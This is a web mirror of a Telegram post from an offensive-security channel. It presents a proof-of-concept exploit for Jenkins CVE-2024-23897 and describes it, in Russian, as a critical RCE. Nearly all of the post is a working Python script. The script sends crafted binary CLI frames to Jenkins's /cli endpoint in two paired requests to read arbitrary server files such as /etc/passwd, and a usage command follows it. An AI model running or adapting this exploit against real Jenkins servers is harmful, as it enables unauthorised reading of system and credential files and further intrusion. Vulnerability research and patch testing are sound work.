APT
  • Home
  • Archive
  • About
  • Explore
Subscribe
APT
Subscribe
APT

Jenkins RCE CVE-2024-23897

APT
APT
Jan 26, 2024, 09:37 UTC

Forwarded from Похек


Jenkins RCE CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j.

PoC

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
    print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
    exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "download"
    })
    print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "upload",
        "Content-type": "application/octet-stream"
    }, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()

Использование:

python poc.py http://127.0.0.1:8888/ [/etc/passwd]

🌚 @poxek

👍15❤‍🔥4❤2🔥23,040 views
APT

Discuss this post in Telegram

React, comment and get new posts first in the APT channel — 17.7K subscribers.

Open post in TelegramSubscribe

More from APT

  • CVE-2021-22555: Turning \x00\x00 into 10000$
    Jul 15, 2021 · 177 views
  • Certighost (CVE-2026-54121) — AD CS Domain Controller Impersonation
    Jul 24, 2026 · 32.3K views
  • DirtyClone — CVE-2026-43503
    Jun 26, 2026 · 29.9K views
  • P³ — Shellcode Loader: Process Parameter Poisoning
    Jul 9, 2026 · 16.8K views
← PreviousWriting your own RDI /sRDI loader using C and ASM
Next →Creating Object File Monstrosities with Sleep Mask and LLVM
👍❤‍🔥❤233Kviews
APT
APT
17.7K subscribers
Subscribe

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Popular

See all
  • Certighost (CVE-2026-54121) — AD CS Domain Controller Impersonation
    32.3K views · Jul 24, 2026
  • APT
    DirtyClone — CVE-2026-43503
    29.9K views · Jun 26, 2026
  • P³ — Shellcode Loader: Process Parameter Poisoning
    16.8K views · Jul 9, 2026
  • Citrix NetScaler Pre-Auth RCE (CVE-2026-8452)
    16.6K views · Aug 17, 2026
  • Certi-Bhai — IIS AppPool → NT AUTHORITY\SYSTEM via AD CS RPC
    11.5K views · Sep 1, 2026

Topics

Explore
#redteam#ad#bugbounty#windows#tools#pentest#cve#rce#bypass#edr#evasion#blueteam#bugbountytips#maldev
AboutArchiveTopicsRSSTelegram© 2026 APT